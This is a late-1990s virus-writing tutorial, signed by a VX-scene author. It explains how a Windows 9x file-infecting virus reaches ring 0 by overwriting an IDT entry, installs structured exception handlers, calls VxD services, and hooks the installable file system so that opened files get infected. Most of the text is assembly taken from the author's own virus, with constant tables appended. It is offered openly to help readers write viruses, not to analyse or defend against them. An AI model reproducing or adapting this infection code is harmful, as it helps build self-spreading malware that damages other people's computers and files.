This text is for educational purpose only. Author is not responsibile for any damage this informations could cause. Anyway, enjoy it,...
I know, there're many articles 'bout this theme, anyway - here's next. And as allways sorry for my english, and other possible bugs,...
U know there's real mode and protected mode on 286+ . In real mode we are able to write anywhere we want. Not in protected mode. Protected mode of Intel processors family (386+) has four privilegue levels. This levels are called rings.
Ring 0 - highest privilegue level
Ring 1
Ring 2
Ring 3 - lowest privilegue level
In windows world only Ring 0 and Ring 3 are used. I haven't found what happened with Ring 1 and 2, anyway, Ring 0 is system privilegue level and Ring 3 is for aplications. It means, when our hostfile is executed,and we gotta chance with our virii, we are in ring 3. So, our goal is to get into Ring 0. One way we can do it is via modifing IDT.
IDT - interrupt descriptor table
From DOS times (yeah, DOS's dead,..almost ;), u can remember there wastable of interrupt's vectors. That was from 0:0 addres up to 0:0400h, coz we had 4 bytes for 256 interrupts. IDT in PM is the same table like the one in DOS with some litle changes.
First, IDT can be anywhere in memory. The base addres of it is store in IDTR (interrupt descriptor table register). To read IDTR we use SIDT instruction (store interrupt descriptor table).
eg.
.386p ;u've to include 'p'
.data
_IDTR dp ?
.code
SIDT [_IDTR]
IDTR is 6 bytes long. One part is 16-bit long limit and the second and important for us is base addres stored in 32-bit.
Second main diference is in interrupt's record in IDT. In DOS there's for each interrupt segment:offset record. In win32 (maybe, i can say in 386+ protected mode) world there's 8 bytes long record for each interrupt.
IDT structure

              .-------------------->   .------( limit )------.
              |                        |                     |
              |                        |---------------------|
              |
         IDTR |                              ............
              |
       .---------------------.         |                     |
       | limit |    base     |         |---------------------|
       '---------------------'         |      int rec.       |-----.
                       |               |---------------------|     |
                       |               |                     |     |
                       '----------->   '---( base addres )---'     |
                                                                   |
       .-----------------------------------------------------------'
       |
      \ /
       '
        15                          0 15                          0
       .-----------------------------.-----------------------------.
       |   offset (31 - 16)          |        u neednt care        |
       |-----------------------------|-----------------------------|
       |   selector                  |      offset (15 - 0)        |
       '-----------------------------'-----------------------------'

reach ring 0
The idea of ring 0 IDT viruses is to set one of interrupts on theirbody, and call this interrupt by int xx instruction. Doing this, we are in ring 0, and we're going to be bad,...
U may notice, there's one disatvantage of this method. To modify IDT,we have to write in to IDT and this is the problem, 'coz this is allowed only in w9x. So this method will fail on win NT or 2k, bcoz IDT is protect there.Anyway, there're other methods to get into Ring 0 (eg kernel infection).
i'll use fragment of my 2M virii,...
@mm:
pusha
sub eax,offset @mm ;u know there's eip in eax,...
pushf
xchg ebp,eax
lea eax,[ebp + @returnSEH] ;see in SEH sec. of this article
push eax
push dword ptr fs:[0]
mov fs:[0],esp
push eax ;store IDTR to stack
sidt [esp - 2]
pop eax ;and load only base of IDT
add eax,_exception*8 ;locate int we'll use
xchg eax,esi ;and load old int. addres
lodsd
xchg eax,ebx
lodsd
xchg ax,bx ;old int addres now in eax
push eax
lea eax,[ebp + @r0] ;our int routine
sub esi,8 ;setting new addres of int
xchg esi,edi
push edi
stosw
shr eax,010h
add edi,4
stosw ;done
Now, we have some interrupt set to point to our code. There's nothingleft then call int instruction,...
------------------------------------------------------------------------------------------------------------------
int _exception ;let's fan begin
pop edi ;set old exception
pop eax
stosw
add edi,4
shr eax,010h
stosw
xchg esi,ecx ;see in SEH sec. of this article
lodsb
@returnSEH:
mov esp,[esp + 8]
pop dword ptr fs:[0]
pop edx
...
SEH - structured exception handler
SEH is new win32 feature to protect applications from exceptions. (comment - maybe thats not exatly definition, but i think, i reached the main idea,...) Using SEH in virii is very usefull, bcoz we're playing with hot things in system, and when some error occurs, we can continue without blue screens.
When process is loaded fs:[0] points to the SEH. We save old handler and set up our own. The SEH structure, we need to define, is this:
_oldSEH dd ?
_newSEH dd ?
To _oldSEH field we have to store DWORD from fs:[0] location.
To _newSEH field we store offset of our error - routine.
mov eax,dword ptr fs:[0]
mov [_oldSEH],eax
mov eax,offset @errorLabel
mov [_newSEH],eax
And finally, we have to set addres of this struc to fs:[0].
mov eax,offset _oldSEH
mov dword ptr fs:[0],eax
When virii finish its work, we have to set old SEH addres to fs:[0] and maybe clear the stack if we're using it for new SEH like in my 2M virii (and many others,...).
ring 0 funcs
Well, assume we're in ring 0 now. To call some funcs we've to use some 'strange' code in our virri.
push param1 ;params are pushed before calling mostly
...
push paramK
int 020h
dw _funcNumber
dw _vxdNumber
pop paramK ;very usefull, coz params stay in stack
...
pop param1
There's one very important thing about using this calling. When we first call some vxd func, the code i mentioned will be replaced by 6 - bytes long call to func we called. I heard it's done by this way to save time. Ayway, if we're coding virri, we 'mostly' need copy our body to other files. So our code musn't be corrupted.There're many ways of fixing our code. U can save the right values of vxd calling and their offsets and before copying replace corrupted code to ours, or u can use some proc to call vxd (like in my 2M,...).
Well, first we need is to allocate some space for our virri and copy it there, bcoz we're still in hostfile.
GetHeap service
push memory_size
int 20h
dw 0dh
dw 040h
pop ebx ;clear stack
returns memory addres in EAX
-----------------------------------
Now, we would like to watch func like opening file and so on. We can achieve this by calling InstallFileSystemAPIhook func. There's one param to call this func - offset of FS_API_hook and output is old FS_API_hook, which we have to call in our new FS_API_hook to close thecircle (like in TSR under DOS).
InstallFileSystemAPIhook
lea eax,offset ourFS_API_hook
push eax
int 020h
dw 067h
dw 040h
pop ebx ;clear stack
mov [_oldFAPI],eax
Now, i'll show an example of FSAPI_hook procedure. Well, the layout i'll show u is very common and u can find it in many virusses include my 2M (haleluja LordJulus).
FileSystemAPIHook important params:
--------------------------------------------
esp + 01ch - addres of IOREQ struc
esp + 010h - drive specification of file
esp + 0ch - action (like file open,...)
In my 2M virii i check only for open_file action, anyway, if u'd like see some other actions see Appendix A part of this article.
ourFS_API_hook:
push ebp ;C rools
mov ebp,esp
sub esp,020h
push edi
mov edi,012345678h ;delta offset of new allocated mem
_newHandle equ $ - 4
Now we have to check if we aren't allready in infect code, bcoz we cant reentry this part of code. _dead variable is set in entering this part of code, and unset when leaving.
----------------------------------------------------------------------
cmp word ptr [edi + _dead],0deadh
jz @busyNow
----------------------------------------------------------------------
And now check if the action is opening file,...
----------------------------------------------------------------------
cmp dword ptr [ebp + 0ch],IFSFN_OPEN
jnz @busyNow
call @tryInfect ;well,...
@busyNow:
mov eax,[ebp + 01ch] ;set the stack like the old one
push eax
mov eax,[ebp + 018h]
push eax
mov eax,[ebp + 014h]
push eax
mov eax,[ebp + 010h]
push eax
mov eax,[ebp + 0ch]
push eax
mov eax,[ebp + 08h]
push eax
mov eax,012345678h ;old FAPI addres
_oldFAPI equ $ - 4
call dword ptr [eax] ;and calling it
pop edi ;clear stack
add esp,018h
leave
ret ;and leave
----------------------------------------------------------------------------
IOREQ structure is pretty large structure, so i wont discus it here, bcoz it's not the point of this article (heh), anyway u can check it elsewhere. One thing i'll show is getting the name of file from it.
mov esi,[ebp + 01ch] ;addres of IOREQ
add esi,0ch ;addres of name
lodsd
add eax,4 ;point to name
Name is in UNICODE so we 've to skip some trush before name, and then
convert to ASCIIZ.
---[UniToBCSPath]-----------------------------------------------------------
push 0
push max_length
push source_addres ;offset of UNICODE name
push destination_addres ;offset of buffer to be ASCIIZ name
int 020h
dw 041h
dw 040h
add esp,010h ;clear stack
----------------------------------------------------------------------------
Be4 converting we should check drive specification of file - esp+010h param from FSAPIhook. If this param is 0ffh then no path is included and we're going to convert the name. Anyway if not, then 1='A',2='B'.. We have to add this drive spec infront of the destination buffer param from convert func,...(english sux,...;) Better to see the code.
So, we have the filename - we can infect. To do it we need some funcs for working with files. This service is called Ring0_FileIO and it's a little bit different from the others we've allready used, bcoz params are stored in registers. And EAX reg holds the value of function to be performed. It 's like in DOS where we had int 21h and params in registers,...
Ring0_FileIO
mov reg,param
...
int 020h
dw 032h
dw 040h
I'll mention only the main functions, naturally there're many of them.Number of functions see in appendix B section of this article.
.opening file eax - R0_OPENCREATFILE
------------- esi - offset of file name
bx - 2
cx - 0
dx - 1
returns CF = 0 -> eax - FileHandle
CF = 1 -> bad
.reading file eax - R0_READFILE
------------- esi - offset of buffer to read to
ebx - FileHandle
ecx - number of bytes to read
edx - pointer of file to read from
.writing file eax - R0_WRITEFILE
------------- esi - offset of buffer to write from
ebx - FileHandle
ecx - number of bytes to write
edx - pointer of file to write to
.closing file eax - R0_CLOSEFILE
------------- ebx - FileHandle
.seek in file well, if u think this func is needed u r lazy reader:)
------------- ...check read and write funcs...
closing
Well, thats all,...
mort[MATRiX]
email - mort.matrix@post.cz
site - http://alterns.org/mvx
---( appendix A )-----------------------------------------------------------
IFSFN_READ EQU 0
IFSFN_WRITE EQU 1
IFSFN_FINDNEXT EQU 2
IFSFN_FCNNEXT EQU 3
IFSFN_SEEK EQU 10
IFSFN_CLOSE EQU 11
IFSFN_COMMIT EQU 12
IFSFN_FILELOCKS EQU 13
IFSFN_FILETIMES EQU 14
IFSFN_PIPEREQUEST EQU 15
IFSFN_HANDLEINFO EQU 16
IFSFN_ENUMHANDLE EQU 17
IFSFN_FINDCLOSE EQU 18
IFSFN_FCNCLOSE EQU 19
IFSFN_CONNECT EQU 30
IFSFN_DELETE EQU 31
IFSFN_DIR EQU 32
IFSFN_FILEATTRIB EQU 33
IFSFN_FLUSH EQU 34
IFSFN_GETDISKINFO EQU 35
IFSFN_OPEN EQU 36
IFSFN_RENAME EQU 37
IFSFN_SEARCH EQU 38
IFSFN_QUERY EQU 39
IFSFN_DISCONNECT EQU 40
IFSFN_UNCPIPEREQ EQU 41
IFSFN_IOCTL16DRIVE EQU 42
IFSFN_GETDISKPARMS EQU 43
IFSFN_FINDOPEN EQU 44
IFSFN_DASDIO EQU 45
---( appendix B )-----------------------------------------------------------
R0_OPENCREATFILE equ 0d500h
R0_OPENCREAT_IN_CONTEXT equ 0d501h
R0_READFILE equ 0d600h
R0_WRITEFILE equ 0d601h
R0_READFILE_IN_CONTEXT equ 0d602h
R0_WRITEFILE_IN_CONTEXT equ 0d603h
R0_CLOSEFILE equ 0d700h
R0_GETFILESIZE equ 0d800h
R0_FINDFIRSTFILE equ 04e00h
R0_FINDNEXTFILE equ 04f00h
R0_FINDCLOSEFILE equ 0dc00h
R0_FILEATTRIBUTES equ 04300h
R0_RENAMEFILE equ 05600h
R0_DELETEFILE equ 04100h
R0_LOCKFILE equ 05c00h
R0_GETDISKFREESPACE equ 03600h
R0_READABSOLUTEDISK equ 0dd00h
R0_WRITEABSOLUTEDISK equ 0de00h
R0_HANDLETOPATH equ 0ec00h
R0_MAPCACHEBLOCK equ 0ed00h
R0_GETVOLLOCKLEVEL equ 0ee00h